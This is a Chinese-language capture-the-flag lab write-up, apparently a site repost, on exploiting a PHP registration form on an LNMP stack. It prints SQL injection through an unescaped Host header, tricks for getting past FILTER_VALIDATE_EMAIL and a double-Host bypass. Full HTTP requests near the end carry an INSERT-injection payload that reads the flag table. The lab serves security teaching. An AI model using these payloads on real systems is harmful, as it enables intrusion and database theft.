攻击LNMP架构Web应用

环境配置(centos7)

1.php56 + php56-fpm

//配置epel
yum install epel-release
rpm -ivh http://rpms.famillecollet.com/enterprise/remi-release-7.rpm//安装php56,php56-fpm及其依赖
yum --enablerepo=remi install php56-php
yum  --enablerepo=remi install php56-php-devel php56-php-fpm php56-php-gd php56-php-xml php56-php-sockets php56-php-session php56-php-snmp php56-php-mysql

2.nginx

①去往cd /usr/share/nginx/html/ 新建目录kaka,将protected文件夹和web文件夹放入kaka目录

②再去往protected目录下找到config.php设置与mysql5.7的连接

<?phpdate_default_timezone_set('PRC');$config = array('rewrite' => array('<m>/<c>/<a>'          => '<m>/<c>/<a>','<c>/<a>'          => '<c>/<a>','/'                => 'main/index',),'debug' => 1,'mysql' => array('MYSQL_HOST' => 'localhost','MYSQL_PORT' => '3306','MYSQL_USER' => 'root','MYSQL_DB'   => 'LNMP','MYSQL_PASS' => 'QWER97!','MYSQL_CHARSET' => 'utf8mb4',),
);
return $config;

③修改nginx配置文件nginx.conf,添加以下内容

server{listen 80;root /usr/local/nginx/html/kaka/web;index index.html index.php;server_name 2023.saorikaka.pw;location / {try_files $uri $uri/ /index.php;}location ~ \.php$ {fastcgi_pass   127.0.0.1:9000;fastcgi_index  index.php;fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;include        fastcgi_params;}
}

④找到html目录下的index.html文件

在body添加内容

<form action="" method="post" enctype="multipart/form-data"></form>

⑤去 /protected/view 找main_register.html文件添加内容enctype="multipart/form-data"

 ⑥尝试登陆该网页,使用IP地址登陆,看是否跳转到 IP地址/main/log,如果357行报错,我们可以去/protected/lib目录下的core.php中将 $GLOBALS['view']['compile_dir']后的内容改为 ‘/tmp’

 成功登陆后去往regist注册页面

 

3.mysql5.7

//mysql 随便创建一个数据库并使用,添加如下代码创建存放flag的数据表
SET NAMES utf8;
SET FOREIGN_KEY_CHECKS = 0;DROP TABLE IF EXISTS `flags`;
CREATE TABLE `flags` (`id` int(10) unsigned NOT NULL AUTO_INCREMENT,`flag` varchar(256) DEFAULT NULL,PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb4;DROP TABLE IF EXISTS `users`;
CREATE TABLE `users` (`id` int(10) unsigned NOT NULL AUTO_INCREMENT,`username` varchar(256) NOT NULL,`password` varchar(32) NOT NULL,`email` varchar(256) DEFAULT NULL,PRIMARY KEY (`id`),UNIQUE KEY `username` (`username`)
) ENGINE=InnoDB AUTO_INCREMENT=15 DEFAULT CHARSET=utf8mb4;SET FOREIGN_KEY_CHECKS = 1;//插入一个flag
insert into flags (flag) value ('I_Love_security');

题干

注册、登录功能相关代码

<?php
escape($_REQUEST);
escape($_POST);
escape($_GET);function escape(&$arg) {if(is_array($arg)) {foreach ($arg as &$value) {escape($value);}} else {$arg = str_replace(["'", '\\', '(', ')'], ["‘", '\\\\', '(', ')'], $arg);}
}function arg($name, $default = null, $trim = false) {if (isset($_REQUEST[$name])) {$arg = $_REQUEST[$name];} elseif (isset($_SERVER[$name])) {$arg = $_SERVER[$name];} else {$arg = $default;}if($trim) {$arg = trim($arg);}return $arg;
}

值得注意的点

1.escape是将GPR中的单引号、圆括号转换成中文符号,反斜线进行转义

2.$_REQUEST,$_POST,$_GET全都需要经过escape函数的过滤

3.arg是获取用户输入的$_REQUEST或$_SERVER。但这里$_SERVER变量没有经过转义

控制代码

<?php
function actionRegister(){if ($_POST) {$username = arg('username');$password = arg('password');if (empty($username) || empty($password)) {$this->error('Username or password is empty.');}$email = arg('email');if (empty($email)) {$email = $username . '@' . arg('HTTP_HOST');}if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {$this->error('Email error.');}$user = new User();$data = $user->query("SELECT * FROM `{$user->table_name}` WHERE `username` = '{$username}'");if ($data) {$this->error('This username is exists.');}$ret = $user->create(['username' => $username,'password' => md5($password),'email' => $email]);if ($ret) {$_SESSION['user_id'] = $user->lastInsertId();} else {$this->error('Unknown error.');}}}

值得注意的点

1.账号和密码被empty函数检测,不可以为空,会报错。

2.邮箱不填写内容会自动设置为"用户名@网站域名"

3.create方法其实就是拼接了一个INSERT语句

4.因为$_SERVER没有经过转义,我们只需要在HTTP头Host值中引入单引号,即可造成一个SQL注入漏洞,但email变量经过了filter_var($email, FILTER_VALIDATE_EMAIL)的检测,我们首先要绕过FILTER_VALIDATE_EMAIL

绕过FILTER_VALIDATE_EMAIL

FILTER_VALIDATE_EMAIL的规则

RFC 3696规定,邮箱地址分为local part和domain part两部分。local part中包含特殊字符,需要如下处理:

  1. 将特殊字符用\转义,如Joe\'Blow@example.com
  2. 或将local part包裹在双引号中,如"Joe'Blow"@example.com
  3. local part长度不超过64个字符

虽然PHP没有完全按照RFC 3696进行检测,但支持上述第2种写法。所以,我们可以利用其绕过FILTER_VALIDATE_EMAIL的检测

绕过思路一

因为代码中邮箱是用户名、@、Host三者拼接而成,但用户名是经过了转义的,所以单引号只能放在Host中。我们可以传入用户名为",Host为aaa'"@example.com,

(将单引号'被包裹在双引号""中)

最后拼接出来的邮箱为"@aaa'"@example.com

简单来说

username 给一个 "

host 给一个 aaa'"@example.com

按照函数里拼接的方法 username + @ +host

结果就是"@aaa'"@example.com  这样单引号'就被带进去了

利用burpsuite进行绕过测试

1.输入  账号 "x  密码随意   email空着就行 

2.打开抓包工具 intercept is on

3.在网页上输入我们预想的账号和密码,进行sign up

4.查看抓包工具

 5.将内容全选 send to Repeater

6.去掉一些没有用的杂质

POST /main/register HTTP/1.1
Host: 192.168.226.140
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryloAJbBwR6NkeAfK6
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7------WebKitFormBoundaryloAJbBwR6NkeAfK6
Content-Disposition: form-data; name="username""x
------WebKitFormBoundaryloAJbBwR6NkeAfK6
Content-Disposition: form-data; name="password"123kaka
------WebKitFormBoundaryloAJbBwR6NkeAfK6--

7.真正准备绕过 

修改host为 aaaa'"@qq.com

8.send提交

 

可以看见单引号 ' 已经进入了

语法错误是因为多了一个单引号,出错才代表注入成功

查看网页内容

可见已经绕过成功 

绕过思路二——双host

更早版本,差不多 nginx1.15.10的时候  使用两个Host头

当我们传入两个Host头的时候,Nginx将以第一个为准,而PHP-FPM将以第二个为准

当我们传入如下

Host: 2023.mhz.pw

Host: xxx'"@example.com

Nginx将认为Host为2023.mhz.pw,并交给目标Server块处理;但PHP中使用$_SERVER['HTTP_HOST']取到的值却是xxx'"@example.com

绕过思路三——insert注入方法

POST /main/register HTTP/1.1
Host: 2023.mhz.pw
Host: '),('t123',md5(12123),(select(flag)from(flags)))#"@a.com
insert into users values ('"a','dsadsadasdwdasda','"a@'),('t123',md5(12123),(select(flag)from(flags)))#"@a.com
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: multipart/form-data; boundary=--------356678531
Content-Length: 176----------356678531
Content-Disposition: form-data; name="username""a
----------356678531
Content-Disposition: form-data; name="password"aaa
----------356678531--

闭合之前的insert语句并添加一个用户t123,将flag读取到email字段

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/70160.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

SpringBoot的配置文件(properties与yml)

文章目录 1. 配置文件的作用2. 配置文件格式3. 配置文件的使用方法3.1. properties配置文件3.1.1. 基本语法和使用3.1.2. properties优缺点分析 3.2. yml配置文件3.2.1. 基本语法与使用3.2.2. yml中单双引号问题3.2.3. yml配置不同类型的数据类型及null3.2.4. 配置对象3.2.5. 配…

【计算机网络】13、ARP 包:广播自己的 mac 地址和 ip

机器启动时&#xff0c;会向外广播自己的 mac 地址和 ip 地址&#xff0c;这个即称为 arp 协议。范围是未经过路由器的部分&#xff0c;如下图的蓝色部分&#xff0c;范围内的设备都会在本地记录 mac 和 ip 的绑定信息&#xff0c;若有重复则覆盖更新&#xff08;例如先收到 ma…

ATF(TF-A)安全通告 TFV-5 (CVE-2017-15031)

安全之安全(security)博客目录导读 ATF(TF-A)安全通告汇总 目录 一、ATF(TF-A)安全通告 TFV-5 (CVE-2017-15031) 二、CVE-2017-15031 一、ATF(TF-A)安全通告 TFV-5 (CVE-2017-15031) Title 未初始化或保存/恢复PMCR_EL0可能会泄露安全世界的时间信息 CVE ID CVE-2017-1503…

Stable Diffusion入门修炼手册

简介 作为新入门的新手&#xff0c;通常安装完Stable Diffusion之后&#xff0c;一打开界面&#xff0c;在文生图输入girl或者dog&#xff0c;结果出来的画面比较糟糕&#xff0c;看起来像素很低&#xff0c;画面不清晰&#xff0c;人物也不怎么美&#xff0c;等等其他问题&am…

STM32 FLASH 读写数据

1. 《STM32 中文参考手册》&#xff0c;需要查看芯片数据手册&#xff0c;代码起始地址一般都是0x8000 0000&#xff0c;这是存放整个项目代码的起始地址 2. 编译信息查看代码大小&#xff0c;修改代码后第一次编译后会有这个提示信息 2.1 修改代码后编译&#xff0c;会有提示…

【数据结构】实现顺序表

目录 一.介绍顺序表二.实现顺序表1.创建多文件2.顺序表的存储方式3.函数的声明4.初始化顺序表5.清理顺序表6.打印顺序表7.扩容8.尾插8.尾删9.头插10.头删11.查找12.修改13.在pos位置插入13.在pos位置删除 三.全部代码1.SeqList.h2.SeqList.c3.Test.c 一.介绍顺序表 顺序表是用…

【Linux命令详解 | tar命令】 tar命令用于打包和解压文件,常用于备份和压缩文件

文章标题 简介一&#xff0c;参数列表二&#xff0c;使用介绍1. 打包文件和目录2. 解包归档文件3. 压缩归档文件4. 列出归档文件内容5. 排除特定文件6. 保留文件权限和所有权7. 保留时间戳8. 增量备份9. 使用文件列表10. 压缩级别控制 总结 简介 在Linux中&#xff0c;tar命令…

BTC硬币已实现价格分布

号外&#xff1a;刘教链新作&#xff0c;欢迎点击阅读&#xff1a; 公众号「刘教链内参」8.16发表&#xff1a;《内参&#xff1a;Vitalik亲口承认几乎所有二层roll-up都有后门》。 公众号「刘教链Pro」8.16发表&#xff1a;《作为投资组合保险的比特币》。 * * * * * * 熟悉比…

Ubuntu安装Apache+Php

环境&#xff1a;ubuntu 22.04 虚拟机 首先更新一下 sudo apt-get update sudo apt-get upgrade安装Apache2&#xff1a; sudo apt-get install apache2 输入y&#xff0c;继续。等着他恐龙抗浪抗浪的下载安装就好了 打开浏览器访问http://localhost/ 安装php&#xff1a; …

TCP/IP协议追层分析物理层(第三十九课)

TCP/IP协议追层分析物理层(第三十九课) 1 物理层:建立、维护、断开物理连接,定义了接口及介质,实现了比特流的传输。 1、传输介质分类 有线介质:网线(双绞线)、光纤 无线介质:无线电 微波 激光 红外线 2、双绞线分类: 五类cat5: 适用于100Mbps 超五类cat5e:适用于…

easyx图形库基础4:贪吃蛇

贪吃蛇 一实现贪吃蛇&#xff1a;1.绘制网格&#xff1a;1.绘制蛇&#xff1a;3.控制蛇的默认移动向右&#xff1a;4.控制蛇的移动方向&#xff1a;5.生成食物6.判断蛇吃到食物并且长大。7.判断游戏结束&#xff1a;8.重置函数&#xff1a; 二整体代码&#xff1a; 一实现贪吃蛇…

Vim的插件管理器之Vundle

1、安装Vundle插件管理器 Vim可以安装插件&#xff0c;但是需要手动安装比较麻烦&#xff0c;Vim本身没有提供插件管理器&#xff0c;所以会有很多的第三方的插件管理器&#xff0c;有一个vim的插件叫做 “vim-easymotion”&#xff0c;在它的github的安装说明里有列出对于不同…